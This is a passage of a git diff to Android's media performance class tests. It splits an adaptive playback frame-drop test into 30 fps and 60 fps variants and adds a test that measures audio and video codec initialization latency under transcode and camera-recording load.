     // Returns the list of parameters with mimeTypes and their hardware decoders supporting the
     // AdaptivePlayback feature combining with sync and async modes.
     // Parameters {0}_{1}_{2} -- Mime_DecoderName_isAsync
@@ -57,35 +59,63 @@
                 MediaCodecInfo.CodecCapabilities.FEATURE_AdaptivePlayback});
     }
 
+    private int testAdaptivePlaybackFrameDrop(int frameRate) throws Exception {
+        String[] testFiles = frameRate == 30 ?
+                new String[]{m1080p30FpsTestFiles.get(mMime), m540p30FpsTestFiles.get(mMime)} :
+                new String[]{m1080p60FpsTestFiles.get(mMime), m540p60FpsTestFiles.get(mMime)};
+        PlaybackFrameDrop playbackFrameDrop = new PlaybackFrameDrop(mMime, mDecoderName, testFiles,
+                mSurface, frameRate, mIsAsync);
+
+        return playbackFrameDrop.getFrameDropCount();
+    }
+
     /**
      * This test validates that the Adaptive Playback of 1920x1080 and 960x540 resolution
-     * assets of 3 seconds duration each at 60 fps for S perf class / 30 fps for R perf class,
+     * assets of 3 seconds duration each at 30 fps for R perf class,
      * playing alternatively, for at least 30 seconds worth of frames or for 31 seconds of elapsed
-     * time, must not drop more than 6 frames for S perf class / 3 frames for R perf class.
+     * time, must not drop more than 3 frames for R perf class.
      */
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
-    @CddTest(requirement="2.2.7.1/5.3/H-1-2")
-    public void testAdaptivePlaybackFrameDrop() throws Exception {
-        PlaybackFrameDrop playbackFrameDrop = new PlaybackFrameDrop(mMime, mDecoderName,
-                new String[]{m1080pTestFiles.get(mMime), m540pTestFiles.get(mMime)},
-                mSurface, FRAME_RATE, mIsAsync);
-        int frameDropCount = playbackFrameDrop.getFrameDropCount();
-        if (Utils.isPerfClass()) {
-            assertTrue("Adaptive Playback FrameDrop count for mime: " + mMime + ", decoder: "
-                    + mDecoderName + ", FrameRate: " + FRAME_RATE
-                    + ", is not as expected. act/exp: " + frameDropCount + "/"
-                    + MAX_FRAME_DROP_FOR_30S, frameDropCount <= MAX_FRAME_DROP_FOR_30S);
-        } else {
-            int pc = frameDropCount <= MAX_FRAME_DROP_FOR_30S ? Build.VERSION_CODES.R : 0;
-            DeviceReportLog log = new DeviceReportLog("MediaPerformanceClassLogs",
-                    "AdaptiveFrameDrop_" + mDecoderName);
-            log.addValue("decoder", mDecoderName, ResultType.NEUTRAL, ResultUnit.NONE);
-            log.addValue("adaptive_frame_drops_for_30sec", frameDropCount, ResultType.LOWER_BETTER,
-                    ResultUnit.NONE);
-            log.setSummary("CDD 2.2.7.1/5.3/H-1-2 performance_class", pc, ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-            log.submit(InstrumentationRegistry.getInstrumentation());
-        }
+    @CddTest(requirement = "2.2.7.1/5.3/H-1-2")
+    public void test30Fps() throws Exception {
+        Assume.assumeTrue("Test is limited to R performance class devices or devices that do not " +
+                "advertise performance class",
+            Utils.isRPerfClass() || !Utils.isPerfClass());
+        int frameRate = 30;
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.FrameDropRequirement r5_3__H_1_2_R = pce.addR5_3__H_1_2_R();
+
+        int framesDropped = testAdaptivePlaybackFrameDrop(frameRate);
+
+        r5_3__H_1_2_R.setFramesDropped(framesDropped);
+        r5_3__H_1_2_R.setFrameRate(frameRate);
+        pce.submitAndCheck();
+    }
+
+    /**
+     * This test validates that the Adaptive Playback of 1920x1080 and 960x540 resolution
+     * assets of 3 seconds duration each at 60 fps for S or T perf class,
+     * playing alternatively, for at least 30 seconds worth of frames or for 31 seconds of elapsed
+     * time, must not drop more than 6 frames for S perf class / 3 frames for T perf class .
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirement = "2.2.7.1/5.3/H-1-2")
+    public void test60Fps() throws Exception {
+        Assume.assumeTrue("Test is limited to S/T performance class devices or devices that do " +
+                "not advertise performance class",
+            Utils.isSPerfClass() || Utils.isTPerfClass() || !Utils.isPerfClass());
+        int frameRate = 60;
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.FrameDropRequirement r5_3__H_1_2_ST = pce.addR5_3__H_1_2_ST();
+
+        int framesDropped = testAdaptivePlaybackFrameDrop(frameRate);
+
+        r5_3__H_1_2_ST.setFramesDropped(framesDropped);
+        r5_3__H_1_2_ST.setFrameRate(frameRate);
+        pce.submitAndCheck();
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/CodecInitializationLatencyTest.java b/tests/mediapc/src/android/mediapc/cts/CodecInitializationLatencyTest.java
new file mode 100644
index 0000000..5a4822d
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/CodecInitializationLatencyTest.java
@@ -0,0 +1,606 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+import static android.mediapc.cts.CodecTestBase.SELECT_ALL;
+import static android.mediapc.cts.CodecTestBase.SELECT_AUDIO;
+import static android.mediapc.cts.CodecTestBase.SELECT_HARDWARE;
+import static android.mediapc.cts.CodecTestBase.SELECT_VIDEO;
+import static android.mediapc.cts.CodecTestBase.getMimesOfAvailableCodecs;
+import static android.mediapc.cts.CodecTestBase.selectCodecs;
+import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaFormat;
+import android.media.MediaRecorder;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
+import android.mediapc.cts.common.Utils;
+import android.os.SystemClock;
+import android.util.Log;
+import android.util.Pair;
+import android.view.Surface;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.CddTest;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * The following test class validates the codec initialization latency (time for codec create +
+ * configure) for the audio codecs and hardware video codecs available in the device, under the
+ * load condition (Transcode + MediaRecorder session Audio(Microphone) and 1080p Video(Camera)).
+ */
+@RunWith(Parameterized.class)
+public class CodecInitializationLatencyTest {
+    private static final String LOG_TAG = CodecInitializationLatencyTest.class.getSimpleName();
+    private static final boolean[] boolStates = {false, true};
+
+    private static final String AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
+    private static final String HEVC = MediaFormat.MIMETYPE_VIDEO_HEVC;
+    private static final String AVC_TRANSCODE_FILE = "bbb_1280x720_3mbps_30fps_avc.mp4";
+    private static String AVC_DECODER_NAME;
+    private static String AVC_ENCODER_NAME;
+    private static final Map<String, String> mTestFiles = new HashMap<>();
+
+    @Rule
+    public final TestName mTestName = new TestName();
+
+    static {
+        // TODO(b/222006626): Add tests vectors for remaining media types
+        // Audio media types
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_AAC, "bbb_stereo_48kHz_128kbps_aac.mp4");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_AMR_NB, "bbb_mono_8kHz_12.2kbps_amrnb.3gp");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_AMR_WB, "bbb_1ch_16kHz_23kbps_amrwb.3gp");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_FLAC, "bbb_1ch_12kHz_lvl4_flac.mka");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_G711_ALAW, "bbb_2ch_8kHz_alaw.wav");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_G711_MLAW, "bbb_2ch_8kHz_mulaw.wav");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_MPEG, "bbb_1ch_8kHz_lame_cbr.mp3");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_MSGSM, "bbb_1ch_8kHz_gsm.wav");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_OPUS, "bbb_2ch_48kHz_opus.mka");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_RAW, "bbb_1ch_8kHz.wav");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_VORBIS, "bbb_stereo_48kHz_128kbps_vorbis.ogg");
+
+        // Video media types
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1920x1080_4mbps_30fps_av1.mp4");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1920x1080_6mbps_30fps_avc.mp4");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_H263, "bbb_cif_768kbps_30fps_h263.mp4");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1920x1080_4mbps_30fps_hevc.mp4");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_MPEG2, "bbb_1920x1080_mpeg2_main_high.mp4");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_MPEG4, "bbb_cif_768kbps_30fps_mpeg4.mkv");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP8, "bbb_1920x1080_6mbps_30fps_vp8.webm");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1920x1080_4mbps_30fps_vp9.webm");
+    }
+
+    private final String mMime;
+    private final String mCodecName;
+
+    private LoadStatus mTranscodeLoadStatus = null;
+    private Thread mTranscodeLoadThread = null;
+    private MediaRecorder mMediaRecorderLoad = null;
+    private File mTempRecordedFile = null;
+    private Surface mSurface = null;
+    private Exception mException = null;
+
+    @Before
+    public void setUp() throws Exception {
+        Utils.assumeDeviceMeetsPerformanceClassPreconditions();
+
+        ArrayList<String> listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false);
+        assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty());
+        AVC_DECODER_NAME = listOfAvcHwDecoders.get(0);
+
+        ArrayList<String> listOfAvcHwEncoders = selectHardwareCodecs(AVC, null, null, true);
+        assumeFalse("Test requires h/w avc encoder", listOfAvcHwEncoders.isEmpty());
+        AVC_ENCODER_NAME = listOfAvcHwEncoders.get(0);
+
+        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        Context context = instrumentation.getTargetContext();
+        PackageManager packageManager = context.getPackageManager();
+        assertNotNull(packageManager.getSystemAvailableFeatures());
+        assumeTrue("The device doesn't have a camera",
+                packageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_ANY));
+        assumeTrue("The device doesn't have a microphone",
+                packageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE));
+        createSurface();
+        startLoad();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        stopLoad();
+        releaseSurface();
+    }
+
+    public CodecInitializationLatencyTest(String mimeType, String codecName) {
+        mMime = mimeType;
+        mCodecName = codecName;
+    }
+
+    @Rule
+    public ActivityTestRule<TestActivity> mActivityRule =
+            new ActivityTestRule<>(TestActivity.class);
+
+    /**
+     * Returns the list of parameters with mimetype and their codecs(for audio - all codecs,
+     * video - hardware codecs).
+     *
+     * @return Collection of Parameters {0}_{1} -- MIME_CodecName
+     */
+    @Parameterized.Parameters(name = "{index}({0}_{1})")
+    public static Collection<Object[]> inputParams() {
+        // Prepares the params list with the required Hardware video codecs and all available
+        // audio codecs present in the device.
+        final List<Object[]> argsList = new ArrayList<>();
+        Set<String> mimeSet = getMimesOfAvailableCodecs(SELECT_VIDEO, SELECT_HARDWARE);
+        mimeSet.addAll(getMimesOfAvailableCodecs(SELECT_AUDIO, SELECT_ALL));
+        for (String mime : mimeSet) {
+            ArrayList<String> listOfCodecs;
+            if (mime.startsWith("audio/")) {
+                listOfCodecs = selectCodecs(mime, null, null, true);
+                listOfCodecs.addAll(selectCodecs(mime, null, null, false));
+            } else {
+                listOfCodecs = selectHardwareCodecs(mime, null, null, true);
+                listOfCodecs.addAll(selectHardwareCodecs(mime, null, null, false));
+            }
+            for (String codec : listOfCodecs) {
+                argsList.add(new Object[]{mime, codec});
+            }
+        }
+        return argsList;
+    }
+
+    private MediaRecorder createMediaRecorderLoad(Surface surface) throws Exception {
+        MediaRecorder mediaRecorder = new MediaRecorder(InstrumentationRegistry.getInstrumentation()
+                .getContext());
+        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        mediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
+        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
+        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+        mediaRecorder.setVideoEncoder(mMime.equalsIgnoreCase(HEVC) ?
+                MediaRecorder.VideoEncoder.HEVC : MediaRecorder.VideoEncoder.H264);
+        mediaRecorder.setOutputFile(mTempRecordedFile);
+        mediaRecorder.setVideoSize(1920, 1080);
+        mediaRecorder.setOrientationHint(0);
+        mediaRecorder.setPreviewDisplay(surface);
+        mediaRecorder.prepare();
+        return mediaRecorder;
+    }
+
+    private void startLoad() throws Exception {
+        // TODO: b/183671436
+        // Create Transcode load (AVC Decoder(720p) + AVC Encoder(720p))
+        mTranscodeLoadStatus = new LoadStatus();
+        mTranscodeLoadThread = new Thread(() -> {
+            try {
+                TranscodeLoad transcodeLoad = new TranscodeLoad(AVC, AVC_TRANSCODE_FILE,
+                        AVC_DECODER_NAME, AVC_ENCODER_NAME, mTranscodeLoadStatus);
+                transcodeLoad.doTranscode();
+            } catch (Exception e) {
+                mException = e;
+            }
+        });
+        // Create MediaRecorder Session - Audio (Microphone) + 1080p Video (Camera)
+        // Create a temp file to dump the MediaRecorder output. Later it will be deleted.
+        mTempRecordedFile = new File(WorkDir.getMediaDirString() + "tempOut.mp4");
+        mTempRecordedFile.createNewFile();
+        mMediaRecorderLoad = createMediaRecorderLoad(mSurface);
+        // Start the Loads
+        mTranscodeLoadThread.start();
+        mMediaRecorderLoad.start();
+    }
+
+    private void stopLoad() throws Exception {
+        if (mTranscodeLoadStatus != null) {
+            mTranscodeLoadStatus.setLoadFinished();
+            mTranscodeLoadStatus = null;
+        }
+        if (mTranscodeLoadThread != null) {
+            mTranscodeLoadThread.join();
+            mTranscodeLoadThread = null;
+        }
+        if (mMediaRecorderLoad != null) {
+            // Note that a RuntimeException is intentionally thrown to the application, if no valid
+            // audio/video data has been received when stop() is called. This happens if stop() is
+            // called immediately after start(). So sleep for 1000ms inorder to make sure some
+            // data has been received between start() and stop().
+            Thread.sleep(1000);
+            mMediaRecorderLoad.stop();
+            mMediaRecorderLoad.release();
+            mMediaRecorderLoad = null;
+            if (mTempRecordedFile != null && mTempRecordedFile.exists()) {
+                mTempRecordedFile.delete();
+                mTempRecordedFile = null;
+            }
+        }
+        if (mException != null) throw mException;
+    }
+
+    private void createSurface() throws InterruptedException {
+        mActivityRule.getActivity().waitTillSurfaceIsCreated();
+        mSurface = mActivityRule.getActivity().getSurface();
+        assertNotNull("Surface created is null.", mSurface);
+        assertTrue("Surface created is invalid.", mSurface.isValid());
+        mActivityRule.getActivity().setScreenParams(1920, 1080, true);
+    }
+
+    private void releaseSurface() {
+        if (mSurface != null) {
+            mSurface.release();
+            mSurface = null;
+        }
+    }
+
+    /**
+     * This test validates the initialization latency (time for codec create + configure) for
+     * audio and hw video codecs.
+     *
+     * <p>Measurements are taken 5 * 2(sync/async) * [1 or 2]
+     * (surface/non-surface for video) times. This also logs the stats: min, max, avg of the codec
+     * initialization latencies.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirements = {
+        "2.2.7.1/5.1/H-1-7",
+        "2.2.7.1/5.1/H-1-8",
+        "2.2.7.1/5.1/H-1-12",
+        "2.2.7.1/5.1/H-1-13",})
+    public void testInitializationLatency() throws Exception {
+        MediaCodec codec = MediaCodec.createByCodecName(mCodecName);
+        boolean isEncoder = codec.getCodecInfo().isEncoder();
+        boolean isAudio = mMime.startsWith("audio/");
+        codec.release();
+        final int NUM_MEASUREMENTS = 5;
+        // Test gathers initialization latency for a number of iterations and
+        // percentile is a variable used to control how many of these iterations
+        // need to meet the pass criteria. For eg. if NUM_MEASUREMENTS = 5, audio, sync and Async
+        // modes which is a total of 10 iterations, this translates to index 7.
+        final int percentile = 70;
+        long sumOfCodecInitializationLatencyMs = 0;
+        int count = 0;
+        int numOfActualMeasurements =
+                NUM_MEASUREMENTS * boolStates.length * ((!isEncoder && !isAudio) ? 2 : 1);
+        long[] codecInitializationLatencyMs = new long[numOfActualMeasurements];
+        for (int i = 0; i < NUM_MEASUREMENTS; i++) {
+            for (boolean isAsync : boolStates) {
+                long latency;
+                if (isEncoder) {
+                    EncoderInitializationLatency encoderInitializationLatency =
+                            new EncoderInitializationLatency(mMime, mCodecName, isAsync);
+                    latency = encoderInitializationLatency.calculateInitLatency();
+                    codecInitializationLatencyMs[count] = latency;
+                    sumOfCodecInitializationLatencyMs += latency;
+                    count++;
+                } else {
+                    String testFile = mTestFiles.get(mMime);
+                    assumeTrue("Add test vector for media type: " + mMime, testFile != null);
+                    if (isAudio) {
+                        DecoderInitializationLatency decoderInitializationLatency =
+                                new DecoderInitializationLatency(mMime, mCodecName, testFile,
+                                        isAsync, false);
+                        latency = decoderInitializationLatency.calculateInitLatency();
+                        codecInitializationLatencyMs[count] = latency;
+                        sumOfCodecInitializationLatencyMs += latency;
+                        count++;
+                    } else {
+                        for (boolean surfaceMode : boolStates) {
+                            DecoderInitializationLatency decoderInitializationLatency =
+                                    new DecoderInitializationLatency(mMime, mCodecName,
+                                            testFile,
+                                            isAsync, surfaceMode);
+                            latency = decoderInitializationLatency.calculateInitLatency();
+                            codecInitializationLatencyMs[count] = latency;
+                            sumOfCodecInitializationLatencyMs += latency;
+                            count++;
+                        }
+                    }
+                }
+            }
+        }
+        Arrays.sort(codecInitializationLatencyMs);
+
+        String statsLog = String.format("CodecInitialization latency for mime: %s, " +
+                "Codec: %s, in Ms :: ", mMime, mCodecName);
+        Log.i(LOG_TAG, "Min " + statsLog + codecInitializationLatencyMs[0]);
+        Log.i(LOG_TAG, "Max " + statsLog + codecInitializationLatencyMs[count - 1]);
+        Log.i(LOG_TAG, "Avg " + statsLog + (sumOfCodecInitializationLatencyMs / count));
+        long initializationLatency = codecInitializationLatencyMs[percentile * count / 100];
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.CodecInitLatencyRequirement r5_1__H_1_Latency =
+            isEncoder ? isAudio ? pce.addR5_1__H_1_8() : pce.addR5_1__H_1_7()
+                : isAudio ? pce.addR5_1__H_1_13() : pce.addR5_1__H_1_12();
+
+        r5_1__H_1_Latency.setCodecInitLatencyMs(initializationLatency);
+
+        pce.submitAndCheck();
+    }
+
+    /**
+     * The following class calculates the encoder initialization latency (time for codec create +
+     * configure).
+     *
+     * <p>And also logs the time taken by the encoder for:
+     * (create + configure + start),
+     * (create + configure + start + first frame to enqueue),
+     * (create + configure + start + first frame to dequeue).
+     */
+    static class EncoderInitializationLatency extends CodecEncoderTestBase {
+        private static final String LOG_TAG = EncoderInitializationLatency.class.getSimpleName();
+
+        private final String mEncoderName;
+        private final boolean mIsAsync;
+
+        EncoderInitializationLatency(String mime, String encoderName, boolean isAsync) {
+            super(mime);
+            mEncoderName = encoderName;
+            mIsAsync = isAsync;
+            mSampleRate = 8000;
+            mFrameRate = 60;
+        }
+
+        private MediaFormat setUpFormat() throws IOException {
+            MediaFormat format = new MediaFormat();
+            format.setString(MediaFormat.KEY_MIME, mMime);
+            if (mIsAudio) {
+                if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_FLAC)) {
+                    format.setInteger(MediaFormat.KEY_FLAC_COMPRESSION_LEVEL, 10000);
+                } else {
+                    format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
+                }
+                format.setInteger(MediaFormat.KEY_SAMPLE_RATE, mSampleRate);
+                format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 1);
+            } else {
+                MediaCodec codec = MediaCodec.createByCodecName(mEncoderName);
+                MediaCodecInfo.CodecCapabilities codecCapabilities =
+                        codec.getCodecInfo().getCapabilitiesForType(mMime);
+                if (codecCapabilities.getVideoCapabilities().isSizeSupported(1920, 1080)) {
+                    format.setInteger(MediaFormat.KEY_WIDTH, 1920);
+                    format.setInteger(MediaFormat.KEY_HEIGHT, 1080);
+                    format.setInteger(MediaFormat.KEY_BIT_RATE, 8000000);
+                } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(1280, 720)) {
+                    format.setInteger(MediaFormat.KEY_WIDTH, 1280);
+                    format.setInteger(MediaFormat.KEY_HEIGHT, 720);
+                    format.setInteger(MediaFormat.KEY_BIT_RATE, 5000000);
+                } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(640, 480)) {
+                    format.setInteger(MediaFormat.KEY_WIDTH, 640);
+                    format.setInteger(MediaFormat.KEY_HEIGHT, 480);
+                    format.setInteger(MediaFormat.KEY_BIT_RATE, 2000000);
+                } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(352, 288)) {
+                    format.setInteger(MediaFormat.KEY_WIDTH, 352);
+                    format.setInteger(MediaFormat.KEY_HEIGHT, 288);
+                    format.setInteger(MediaFormat.KEY_BIT_RATE, 512000);
+                } else {
+                    format.setInteger(MediaFormat.KEY_WIDTH, 176);
+                    format.setInteger(MediaFormat.KEY_HEIGHT, 144);
+                    format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
+                }
+                codec.release();
+                format.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
+                format.setFloat(MediaFormat.KEY_I_FRAME_INTERVAL, 1.0f);
+                format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                        MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
+            }
+            return format;
+        }
+
+        public long calculateInitLatency() throws Exception {
+            MediaFormat format = setUpFormat();
+            if (mIsAudio) {
+                mSampleRate = format.getInteger(MediaFormat.KEY_SAMPLE_RATE);
+                mChannels = format.getInteger(MediaFormat.KEY_CHANNEL_COUNT);
+            } else {
+                mWidth = format.getInteger(MediaFormat.KEY_WIDTH);
+                mHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
+            }
+            setUpSource(mInputFile);
+            MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
+            long enqueueTimeStamp = 0;
+            long dequeueTimeStamp = 0;
+            long baseTimeStamp = SystemClock.elapsedRealtimeNanos();
+            mCodec = MediaCodec.createByCodecName(mEncoderName);
+            resetContext(mIsAsync, false);
+            mAsyncHandle.setCallBack(mCodec, mIsAsync);
+            mCodec.configure(format, null, MediaCodec.CONFIGURE_FLAG_ENCODE, null);
+            long configureTimeStamp = SystemClock.elapsedRealtimeNanos();
+            mCodec.start();
+            long startTimeStamp = SystemClock.elapsedRealtimeNanos();
+            if (mIsAsync) {
+                // We will keep on feeding the input to encoder until we see the first dequeued
+                // frame.
+                while (!mAsyncHandle.hasSeenError() && !mSawInputEOS) {
+                    Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandle.getWork();
+                    if (element != null) {
+                        int bufferID = element.first;
+                        MediaCodec.BufferInfo info = element.second;
+                        if (info != null) {
+                            dequeueTimeStamp = SystemClock.elapsedRealtimeNanos();
+                            dequeueOutput(bufferID, info);
+                            break;
+                        } else {
+                            if (enqueueTimeStamp == 0) {
+                                enqueueTimeStamp = SystemClock.elapsedRealtimeNanos();
+                            }
+                            enqueueInput(bufferID);
+                        }
+                    }
+                }
+            } else {
+                while (!mSawOutputEOS) {
+                    if (!mSawInputEOS) {
+                        int inputBufferId = mCodec.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
+                        if (inputBufferId > 0) {
+                            if (enqueueTimeStamp == 0) {
+                                enqueueTimeStamp = SystemClock.elapsedRealtimeNanos();
+                            }
+                            enqueueInput(inputBufferId);
+                        }
+                    }
+                    int outputBufferId = mCodec.dequeueOutputBuffer(outInfo, Q_DEQ_TIMEOUT_US);
+                    if (outputBufferId >= 0) {
+                        dequeueTimeStamp = SystemClock.elapsedRealtimeNanos();
+                        dequeueOutput(outputBufferId, outInfo);
+                        break;
+                    }
+                }
+            }
+            queueEOS();
+            waitForAllOutputs();
+            mCodec.stop();
+            mCodec.release();
+            Log.d(LOG_TAG, "Encode Mime: " + mMime + " Encoder: " + mEncoderName +
+                    " Time for (create + configure) in ns: " +
+                    (configureTimeStamp - baseTimeStamp));
+            Log.d(LOG_TAG, "Encode Mime: " + mMime + " Encoder: " + mEncoderName +
+                    " Time for (create + configure + start) in ns: " +
+                    (startTimeStamp - baseTimeStamp));
+            Log.d(LOG_TAG, "Encode Mime: " + mMime + " Encoder: " + mEncoderName +
+                    " Time for (create + configure + start + first frame to enqueue) in ns: " +
+                    (enqueueTimeStamp - baseTimeStamp));
+            Log.d(LOG_TAG, "Encode Mime: " + mMime + " Encoder: " + mEncoderName +
+                    " Time for (create + configure + start + first frame to dequeue) in ns: " +
+                    (dequeueTimeStamp - baseTimeStamp));
+            long timeToConfigureMs = (configureTimeStamp - baseTimeStamp) / 1000000;
+            return timeToConfigureMs;
+        }
+    }
+
+    /**
+     * The following class calculates the decoder initialization latency (time for codec create +
+     * configure).
+     * And also logs the time taken by the decoder for:
+     * (create + configure + start),
+     * (create + configure + start + first frame to enqueue),
+     * (create + configure + start + first frame to dequeue).
+     */
+    static class DecoderInitializationLatency extends CodecDecoderTestBase {
+        private static final String LOG_TAG = DecoderInitializationLatency.class.getSimpleName();
+
+        private final String mDecoderName;
+        private final boolean mIsAsync;
+
+        DecoderInitializationLatency(String mediaType, String decoderName, String testFile,
+                boolean isAsync, boolean surfaceMode) {
+            super(mediaType, testFile);
+            mDecoderName = decoderName;
+            mIsAsync = isAsync;
+            mSurface = mIsAudio ? null :
+                    surfaceMode ? MediaCodec.createPersistentInputSurface() : null;
+        }
+
+        public long calculateInitLatency() throws Exception {
+            MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
+            MediaFormat format = setUpSource(mTestFile);
+            long enqueueTimeStamp = 0;
+            long dequeueTimeStamp = 0;
+            long baseTimeStamp = SystemClock.elapsedRealtimeNanos();
+            mCodec = MediaCodec.createByCodecName(mDecoderName);
+            resetContext(mIsAsync, false);
+            mAsyncHandle.setCallBack(mCodec, mIsAsync);
+            mCodec.configure(format, mSurface, 0, null);
+            long configureTimeStamp = SystemClock.elapsedRealtimeNanos();
+            mCodec.start();
+            long startTimeStamp = SystemClock.elapsedRealtimeNanos();
+            if (mIsAsync) {
+                // We will keep on feeding the input to decoder until we see the first dequeued
+                // frame.
+                while (!mAsyncHandle.hasSeenError() && !mSawInputEOS) {
+                    Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandle.getWork();
+                    if (element != null) {
+                        int bufferID = element.first;
+                        MediaCodec.BufferInfo info = element.second;
+                        if (info != null) {
+                            dequeueTimeStamp = SystemClock.elapsedRealtimeNanos();
+                            dequeueOutput(bufferID, info);
+                            break;
+                        } else {
+                            if (enqueueTimeStamp == 0) {
+                                enqueueTimeStamp = SystemClock.elapsedRealtimeNanos();
+                            }
+                            enqueueInput(bufferID);
+                        }
+                    }
+                }
+            } else {
+                while (!mSawOutputEOS) {
+                    if (!mSawInputEOS) {
+                        int inputBufferId = mCodec.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
+                        if (inputBufferId >= 0) {
+                            if (enqueueTimeStamp == 0) {
+                                enqueueTimeStamp = SystemClock.elapsedRealtimeNanos();
+                            }
+                            enqueueInput(inputBufferId);
+                        }
+                    }
+                    int outputBufferId = mCodec.dequeueOutputBuffer(outInfo, Q_DEQ_TIMEOUT_US);
+                    if (outputBufferId >= 0) {
+                        dequeueTimeStamp = SystemClock.elapsedRealtimeNanos();
+                        dequeueOutput(outputBufferId, outInfo);
+                        break;
+                    }
+                }
+            }
+            queueEOS();
+            waitForAllOutputs();
+            mCodec.stop();
+            mCodec.release();
+            if (mSurface != null) {
+                mSurface.release();
+            }
+            Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
+                    " Time for (create + configure) in ns: " +
+                    (configureTimeStamp - baseTimeStamp));
+            Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
+                    " Time for (create + configure + start) in ns: " +
+                    (startTimeStamp - baseTimeStamp));
+            Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
+                    " Time for (create + configure + start + first frame to enqueue) in ns: " +
+                    (enqueueTimeStamp - baseTimeStamp));
+            Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
+                    " Time for (create + configure + start + first frame to dequeue) in ns: " +
+                    (dequeueTimeStamp - baseTimeStamp));
